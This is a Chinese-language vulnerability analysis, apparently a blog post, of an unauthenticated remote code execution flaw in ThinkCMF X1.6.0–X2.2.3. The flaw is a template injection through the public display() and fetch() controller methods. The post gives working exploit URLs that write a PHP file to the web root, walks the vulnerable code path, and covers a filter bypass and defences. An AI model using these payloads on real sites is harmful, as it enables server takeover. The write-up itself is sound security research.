概述
ThinkCMF 是一款基于 PHP+MYSQL 开发的中文内容管理框架,底层采用 ThinkPHP3.2.3 构建。
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
环境搭建
ThinkCMF X2.2.3 下载地址:https://pan.baidu.com/s/1bRXwdg
按照引导安装即可,该框架调试模式默认开启。
复现
- 利用
display()
,实现任意文件包含。
- 利用
display()
写 shell。
http://cmf.com/index.php/index/display/?templateFile=README.md&content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?>%27); |
在根目录写入成功。
- 利用
fetch()
直接写 PHP 文件。
http://cmf.com/index.php/index/fetch/?content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?%3E%27); |
在根目录写入成功。
分析
目录结构
|--admin 管理后台URL重定向目录,你可以将文件夹名改为任何你喜欢的 |
先回顾一下如何正常访问一个控制器,比如 Portal 下 IndexController.class.php 中的 index 方法。
class IndexController extends HomebaseController { |
按照 ThinkPHP 提供的方法,可以是 index.php/portal/index/index/name/wywwzjj
。(portal 是默认模块)
一般来说,ThinkPHP 的控制器是一个类,而操作则是控制器类的一个公共方法。
也就是说,我们可以使用这种方式来调用任意的 public 方法。
注意到 IndexController 类继承了 HomebaseController,这有一系列继承。
class IndexController extends HomebaseController { |
当扩展一个类,子类就会继承父类所有公有的和受保护的方法。除非子类覆盖了父类的方法,被继承的方法都会保留其原有功能。
所以 IndexController 类有了父类的所有方法,这里列举一下所有 public 方法,说不定可以组合利用。
// abstract class Controller |
目前来看,能造成敏感操作只有 display()
和 fetch()
了,继续跟进。
display
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') { |
parseTemplate()
前面一大段没有对 template
进行处理,然后是文件就直接返回,这里不用关心了。
// HomebaseController.class.php line 170 |
继续
/** |
到 $this->view->display()
/** |
继续看 fetch()
的实现。
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板,默认为 Thinkphp |
在这完成的文件读取。
然后编译模板。
// 编译模板内容 |
编译的过程中还稍微做了下安全处理,这里能绕吗?能!
// 添加安全代码 |
再写入临时文件,其中文件名是 $templateFile 的 md5 哈希值。
最终 include 这个模板。
文件包含到这里就结束了,相比 fetch,他多了个 render 的方法来进行输出,所以有回显。
继续看如何写 shell,str_replace 是怎么帮的倒忙。
作者原意是在模板前面加入退出语句,使得必须从单入口进入,但有了 include 之后,这个也不用管啦。
结合这个替换,模板内容中的 PHP 语句可以直接拼接上去,比如复现中给出的 payload 产生的效果:
if (!defined('THINK_PATH')) exit(); file_put_contents('i.php','<?php phpinfo(); ?>'); |
fetch
有了上面的铺垫,fetch 这里分析起来就更简单了,而且不再需要传 templateFile 参数。
public function fetch($templateFile = '', $content = '', $prefix = '') { |
最终处理的方法是一样的,不再赘述。
Comment 模块和 Api 模块都能调用到 fetch,所以也是触发点。
存在 SSTI 漏洞的 CMS 合集:https://xz.aliyun.com/t/5568
总结
如果参数可控且不转义 <>
,可以利用的还有$this->show()
,这三个方法在 TP3 上是通用的。
看了一下其他人的分析文章,发现有些被带偏了,真的需要模板标签吗?display 真的不能写 shell 吗?
话说回来,如果 <?
这种标签被过滤掉了,确实可以通过模板标签 <php></php>
解析来绕一下。
如何防御?最简单的就是将这些本不该 public 的方法“私有化”,最好的还是将传入参数尖括号编码。
不过,即使不能直接访问了,结合一些反序列化链这些方法或许还能利用。
参考
https://mochazz.github.io/2019/07/25/ThinkCMFX%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86